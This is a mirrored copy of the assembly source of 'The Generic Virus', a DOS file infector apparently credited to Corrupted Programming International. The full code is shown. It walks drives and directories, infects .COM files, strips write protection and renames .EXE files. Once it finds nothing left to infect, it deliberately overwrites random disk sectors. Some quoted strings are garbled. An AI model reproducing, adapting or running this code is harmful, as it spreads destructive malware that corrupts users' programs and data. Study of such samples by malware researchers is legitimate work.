mirror of
https://github.com/vxunderground/MalwareSourceCode
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262 lines
11 KiB
NASM
262 lines
11 KiB
NASM
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;=============================================================================
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;
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; C*P*I
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;
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; CORRUPTED PROGRAMMING INTERNATIONAL
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; -----------------------------------
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; p r e s e n t s
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;
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; T H E
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; _ _
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; (g) GENERIC VIRUS (g)
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; ^ ^
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;
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;
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; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
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; CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
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; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR oPROGRAM TO BIG TO
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; FIT IN MEMORY@ THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
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;
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; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
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; THE DISK. HAVE PHUN WITH THIS ONE.
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;
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; ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
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; IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
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;
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; THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
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; HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
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; THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
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; ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
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;
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; DOCTOR DISSECTOR
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; CPI ASSOCIATES
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;
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;=============================================================================
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MAIN:
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NOP ;| Marker bytes that identify this program
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NOP ;| as infected/a virus
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NOP ;|
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MOV AX,00 ;| Initialize the pointers
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MOV ES:[POINTER],AX ;|
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MOV ES:[COUNTER],AX ;|
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MOV ES:[DISKS B],AL ;|
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MOV AH,19 ;| Get the selected drive (dir?)
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INT 21 ;|
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MOV CS:DRIVE,AL ;| Get current path (save drive)
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MOV AH,47 ;| (dir?)
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MOV DH,0 ;|
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ADD AL,1 ;|
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MOV DL,AL ;| (in actual drive)
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LEA SI,CS:OLD_PATH ;|
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INT 21 ;|
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MOV AH,0E ;| Find # of drives
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MOV DL,0 ;|
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INT 21 ;|
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CMP AL,01 ;| (Check if only one drive)
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JNZ HUPS3 ;| (If not one drive, go the HUPS3)
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MOV AL,06 ;| Set pointer to SEARCH_ORDER +6 (one drive)
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HUPS3: MOV AH,0 ;| Execute this if there is more than 1 drive
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LEA BX,SEARCH_ORDER ;|
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ADD BX,AX ;|
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ADD BX,0001 ;|
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MOV CS:POINTER,BX ;|
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CLC ;|
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CHANGE_DISK: ;| Carry is set if no more .COM files are
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JNC NO_NAME_CHANGE ;| found. From here, .EXE files will be
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MOV AH,17 ;| renamed to .COM (change .EXE to .COM)
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LEA DX,CS:MASKE_EXE ;| but will cause the error message oProgram
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INT 21 ;| to large to fit in memory@ when starting
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CMP AL,0FF ;| larger infected programs
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JNZ NO_NAME_CHANGE ;| (Check if an .EXE is found)
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MOV AH,2CH ;| If neither .COM or .EXE files can be found,
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INT 21 ;| then random sectors on the disk will be
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MOV BX,CS:POINTER ;| overwritten depending on the system time
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MOV AL,CS:[BX] ;| in milliseconds. This is the time of the
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MOV BX,DX ;| complete oinfection@ of a storage medium.
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MOV CX,2 ;| The virus can find nothing more to infect
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MOV DH,0 ;| starts its destruction.
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INT 26 ;| (write crap on disk)
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NO_NAME_CHANGE: ;| Check if the end of the search order table
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MOV BX,CS:POINTER ;| has been reached. If so, end.
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DEC BX ;|
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MOV CS:POINTER,BX ;|
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MOV DL,CS:[BX] ;|
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CMP DL,0FF ;|
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JNZ HUPS2 ;|
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JMP HOPS ;|
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HUPS2: ;| Get a new drive from the search order table
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MOV AH,0E ;| and select it, beginning with the ROOT dir.
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INT 21 ;| (change drive)
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MOV AH,3B ;| (change path)
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LEA DX,PATH ;|
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INT 21 ;|
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JMP FIND_FIRST_FILE ;|
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FIND_FIRST_SUBDIR: ;| Starting from the root, search for the
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MOV AH,17 ;| first subdir. First, (change .exe to .com)
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LEA DX,CS:MASKE_EXE ;| convert all .EXE files to .COM in the
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INT 21 ;| old directory.
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MOV AH,3B ;| (use root directory)
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LEA DX,PATH ;|
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INT 21 ;|
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MOV AH,04E ;| (search for first subdirectory)
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MOV CX,00010001B ;| (dir mask)
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LEA DX,MASKE_DIR ;|
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INT 21 ;|
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JC CHANGE_DISK ;|
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MOV BX,CS:COUNTER ;|
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INC BX ;|
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DEC BX ;|
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JZ USE_NEXT_SUBDIR ;|
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FIND_NEXT_SUBDIR: ;| Search for the next sub-dir, if no more
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MOV AH,4FH ;| are found, the (search for next subdir)
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INT 21 ;| drive will be changed.
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JC CHANGE_DISK ;|
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DEC BX ;|
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JNZ FIND_NEXT_SUBDIR ;|
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USE_NEXT_SUBDIR:
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MOV AH,2FH ;| Select found directory. (get dta address)
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INT 21 ;|
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ADD BX,1CH ;|
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MOV ES:[BX],W@\@ ;| (address of name in dta)
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INC BX ;|
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PUSH DS ;|
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MOV AX,ES ;|
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MOV DS,AX ;|
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MOV DX,BX ;|
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MOV AH,3B ;| (change path)
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INT 21 ;|
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POP DS ;|
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MOV BX,CS:COUNTER ;|
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INC BX ;|
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MOV CS:COUNTER,BX ;|
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FIND_FIRST_FILE: ;| Find first .COM file in the current dir.
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MOV AH,04E ;| If there are none, (Search for first)
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MOV CX,00000001B ;| search the next directory. (mask)
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LEA DX,MASKE_COM ;|
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INT 21 ;|
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JC FIND_FIRST_SUBDIR ;|
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JMP CHECK_IF_ILL ;|
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FIND_NEXT_FILE: ;| If program is ill (infected) then search
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MOV AH,4FH ;| for another. (search for next)
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INT 21 ;|
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JC FIND_FIRST_SUBDIR ;|
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CHECK_IF_ILL: ;| Check if already infected by virus.
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MOV AH,3D ;| (open channel)
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MOV AL,02 ;| (read/write)
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MOV DX,9EH ;| (address of name in dta)
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INT 21 ;|
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MOV BX,AX ;| (save channel)
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MOV AH,3FH ;| (read file)
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MOV CH,BUFLEN ;|
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MOV DX,BUFFER ;| (write in buffer)
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INT 21 ;|
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MOV AH,3EH ;| (close file)
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INT 21 ;|
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MOV BX,CS:[BUFFER] ;| (look for three NOPYs)
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CMP BX,9090 ;|
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JZ FIND_NEXT_FILE ;|
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MOV AH,43 ;| This section by-passes (write enable)
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MOV AL,0 ;| the MS/PC DOS Write Protection.
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MOV DX,9EH ;| (address of name in dta)
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INT 21 ;|
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MOV AH,43 ;|
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MOV AL,01 ;|
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AND CX,11111110B ;|
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INT 21 ;|
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MOV AH,3D ;| Open file for read/write (open channel)
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MOV AL,02 ;| access (read/write)
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MOV DX,9EH ;| (address of name in dta)
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INT 21 ;|
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MOV BX,AX ;| Read date entry of program and (channel)
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MOV AH,57 ;| save for future use. (get date)
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MOV AL,0 ;|
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INT 21 ;|
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PUSH CX ;| (save date)
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PUSH DX ;|
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MOV DX,CS:[CONTA W] ;| The jump located at 0100h (save old jmp)
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MOV CS:[JMPBUF],DX ;| the program will be saved for future use.
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MOV DX,CS:[BUFFER+1] ;| (save new jump)
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LEA CX,CONT-100 ;|
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SUB DX,CX ;|
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MOV CS:[CONTA],DX ;|
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MOV AH,57 ;| The virus now copies itself to (write date)
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MOV AL,1 ;| to the start of the file.
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POP DX ;|
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POP CX ;| (restore date)
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INT 21 ;|
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MOV AH,3EH ;| (close file)
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INT 21 ;|
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MOV DX,CS:[JMPBUF] ;| Restore the old jump address. The virus
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MOV CS:[CONTA],DX ;| at address oCONTA@ the jump which was at the
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;| start of the program. This is done to
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HOPS: ;| preserve the executability of the host
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NOP ;| program as much as possible. After saving,
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CALL USE_OLD ;| it still works with the jump address in the
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;| virus. The jump address in the virus differs
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;| from the jump address in memory
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CONT DB 0E9 ;| Continue with the host program (make jump)
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CONTA DW 0 ;|
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MOV AH,00 ;|
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INT 21 ;|
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USE_OLD:
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MOV AH,0E ;| Reactivate the selected (use old drive)
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MOV DL,CS:DRIVE ;| drive at the start of the program, and
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INT 21 ;| reactivate the selected path at the start
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MOV AH,3B ;| of the program.(use old drive)
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LEA DX,OLD_PATH-1 ;| (get old path and backslash)
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INT 21 ;|
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RET ;|
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SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF
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POINTER DW 0000 ;| (pointer f. search order)
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COUNTER DW 0000 ;| (counter f. nth. search)
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DISKS DB 0 ;| (number of disks)
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MASKE_COM DB o*.COM@,00 ;| (search for com files)
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MASKE_DIR DB o*@,00 ;| (search for dirYs)
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MASKE_EXE DB 0FF,0,0,0,0,0,00111111XB
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DB 0,@????????EXE@,0,0,0,0
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DB 0,@????????COM@,0
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MASKE_ALL DB 0FF,0,0,0,0,0,00111111XB
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DB 0,@???????????@,0,0,0,0
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DB 0,@????????COM@,0
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BUFFER EQU 0E00 ;| (a safe place)
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BUFLEN EQU 208H ;| Length of virus. Modify this accordingly
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;| if you modify this source. Be careful
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;| for this may change!
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JMPBUF EQU BUFFER+BUFLEN ;| (a safe place for jmp)
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PATH DB o\@,0 ;| (first place)
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DRIVE DB 0 ;| (actual drive)
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BACK_SLASH DB o\@
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OLD_PATH DB 32 DUP (?) ;| (old path)
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